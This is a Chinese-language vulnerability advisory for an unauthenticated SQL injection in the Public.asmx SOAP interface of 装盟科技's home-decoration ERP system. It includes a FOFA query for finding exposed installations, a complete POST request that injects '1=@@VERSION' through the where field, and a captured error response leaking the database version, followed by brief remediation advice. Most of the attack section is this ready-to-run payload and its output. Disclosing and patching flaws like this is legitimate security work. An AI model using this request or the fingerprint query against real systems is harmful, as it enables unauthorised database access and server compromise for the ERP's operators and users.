

装盟科技-家装ERP管理系统 Public.asmx SQL注入

漏洞描述

装盟科技-家装ERP管理系统 Public.asmx 接口存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

影响版本

装盟科技-家装ERP管理系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="装盟科技-家装ERP管理系统"

POC/EXP：

```
POST /WEB_SERVICE/Public.asmx HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/GetDs"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetDs xmlns="http://tempuri.org/">
      <tbName>master.dbo.sysdatabases</tbName>
```

```
<where>1=@@VERSION</where>
</GetDs>
</soap:Body>
</soap:Envelope>
```

发送请求

强制 HTTPS ☐

历史

爆破示例

生成 YAML

Request

数据扫描 美化 热加载 构造请求

```
1 POST /WEB_SERVICE/Public.asmx HTTP/1.1
2 Host : 
3 Content-Type: text/xml; charset=utf-8
4 Content-Length: length
5 SOAPAction: "http://tempuri.org/GetDs"
6
7 <?xml version="1.0" encoding="utf-8"?>
8 <soap:Envelope xmlns:xsi="http://www.w3.org/2001/
XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
9 <soap:Body>
10 <GetDs xmlns="http://tempuri.org/">
11 <tbName>master.dbo.sysdatabases</tbName>
12 <where>1=@@VERSION</where>
13 </GetDs>
14 </soap:Body>
15 </soap:Envelope>
```

Responses 660bytes / 5402ms

美化 编码 详情

```
1 HTTP/1.1 500 Internal Server Error
2 Cache-Control: private
3 Content-Type: text/xml; charset=utf-8
4 Server: Microsoft-IIS/7.5
5 X-AspNet-Version: 2.0.50727
6 X-Powered-By: ASP.NET
7 Date: Thu, 13 Mar 2025 07:12:24 GMT
8 Content-Length: 683
9
10 <?xml version="1.0" encoding="utf-8"?>
11 <soap:Envelope
12 xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
13 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
14 xmlns:xsd="http://www.w3.org/2001/XMLSchema"
15 ><soap:Body><soap:Fault><faultcode>soap:Server</
faultcode><faultstring
16 >服务器无法处理请求。 --> &gt; 在将 nvarchar 值
'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1
(X64)'
17
18 Apr 2 2010 13:48:46
19 Copyright (c) Microsoft Corporation
Enterprise Edition (64-bit) on Windows NT 6.1 &lt;
X64&gt; (Build 7601: Service Pack 1) (Hypervisor)
20 '转换成数据类型 int 时失败。</faultstring><detail
21 >
22 </soap:Fault></soap:Body></soap:Envelope>
```

漏洞修复

- 关闭互联网暴露面或接口设置访问权限
- 升级至安全版本